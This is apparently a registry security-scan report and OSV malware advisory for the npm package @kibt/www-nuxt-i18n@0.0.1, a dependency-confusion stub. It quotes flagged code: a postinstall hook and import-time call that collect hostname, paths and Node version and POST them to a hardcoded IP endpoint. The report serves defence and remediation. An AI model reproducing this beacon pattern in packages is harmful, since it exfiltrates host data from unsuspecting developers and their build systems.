registry / @kibt/www-nuxt-i18n / 0.0.1

@kibt/www-nuxt-i18n@0.0.1

Compatibility shim.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

Installation and import automatically transmit local machine and project metadata to a fixed external endpoint.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall execution or importing index.js.

Impact

Exposes machine identity and local project locations to the external recipient.

Mechanism

The beacon collects host and filesystem-location metadata, serializes it as JSON, and sends an HTTP POST without an opt-in gate.

Attack narrative

The package runs a beacon during installation and again on import. It collects the hostname, installation directory, working directory, and runtime version, then sends them to a fixed IP address over HTTP. Collection and transmission require no explicit user action beyond installing or importing the package.

AI rationale

Inspected source establishes automatic host and project metadata exfiltration through both lifecycle and import entrypoints. The limited payload narrows the impact but does not neutralize the concrete attack behavior.

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-17498

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @kibt/www-nuxt-i18n (npm)

Details

The package is a stub whose index.js exports a Proxy returning no-op functions for every property access, allowing bundlers that import any member of the expected real package to succeed. The package.json declares a postinstall script `node beacon.cjs`, and index.js also loads the same beacon at require() time. beacon.cjs collects installer host metadata — os.hostname(), the install directory (__dirname), process.cwd(), and process.version — and POSTs it to the hardcoded plain-HTTP bare-IP endpoint http://185.158.107.175:8787/_ah/dc. The destination is not affiliated with any legitimate publisher, the package provides no real functionality, and an in-source comment frames successful installs as evidence of a hit — matching the canonical dependency-confusion / namesquat validator shape where host identity is reported back to the operator to confirm which internal environments resolved the attacker-controlled scoped name.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs beacon.cjs after installation.
beacon.cjs targets a fixed external HTTP endpoint.
beacon.cjs collects the hostname, installation path, working directory, and Node version.
beacon.cjs sends the collected payload over the network without a consent gate.
index.js also activates the beacon when imported.
beacon.cjs activates collection and transmission when executed by the install hook.

Evidence against

The inspected payload does not collect credentials or file contents.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.28 KB of source, external domains: 185.158.107.175

Source & flagged code

9 flagged

package.jsonView file

Lines 1-16json

2 "name": "@kibt/www-nuxt-i18n",

3 "version": "0.0.1",

4 "description": "Compatibility shim.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node beacon.cjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

9 "files": [

High

Ai Review Evidence

package.json automatically runs beacon.cjs after installation.

package.jsonView on unpkg · L5

10 "index.js",

11 "beacon.cjs",

12 "README.md"

13 ],

14 "license": "MIT"

15}

beacon.cjsView file

Lines 1-38javascript

1'use strict';

2// Build-provenance beacon. Reports only machine/package metadata so the

3// recipient can correlate an install. No data beyond that is collected or sent.

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

5var PKG = "@kibt/www-nuxt-i18n";

index.jsView file

Lines 1-14javascript

1'use strict';

2// Loading the shim (e.g. because the app imports this name) also records the

3// install. Kept side-effect-free if the callback cannot be reached.

4try { require('./beacon.cjs').fire(); } catch (e) {}

5// Export a defensive Proxy: any property access returns a no-op function, so a

High

Ai Review Evidence

index.js also activates the beacon when imported.

index.jsView on unpkg · L4

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node beacon.cjs" }, "files": [

High

Ai Review Evidence

package.json automatically runs beacon.cjs after installation.

package.jsonView on unpkg · L5

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@kibt/www-nuxt-i18n"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @kibt/www-nuxt-i18n@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:QGtpYnQvd3d3LW51eHQtaTE4bg:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

4var BEACON = "http://185.158.107.175:8787/_ah/dc"; var PKG = "@kibt/www-nuxt-i18n"; function _post(payloa

High

Ai Review Evidence

beacon.cjs targets a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L4

28hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (process.version || ''), protocol: (BEACON.indexOf('https:') =

High

Ai Review Evidence

beacon.cjs collects the hostname, installation path, working directory, and Node version.

beacon.cjsView on unpkg · L28

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fire() { var

High

Ai Review Evidence

beacon.cjs sends the collected payload over the network without a consent gate.

beacon.cjsView on unpkg · L21

36if (require.main === module) { fire().then(function () { process.exitCode = 0; }); } module.ex

High

Suspicious Lifecycle Evidence

beacon.cjs activates collection and transmission when executed by the install hook.

beacon.cjsView on unpkg · L36

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a d

High

Ai Review Evidence

index.js also activates the beacon when imported.

index.jsView on unpkg · L4

Findings

9 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighAi Review Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

HighSuspicious Lifecycle Evidencebeacon.cjs

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @kibt/www-nuxt-i18n@0.0.1.

See version security history for other recorded verdicts.

Avoid installing @kibt/www-nuxt-i18n@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:50:52.574Z (UTC).

Source advisory published: 2026-10-04 23:18:25.000Z (UTC).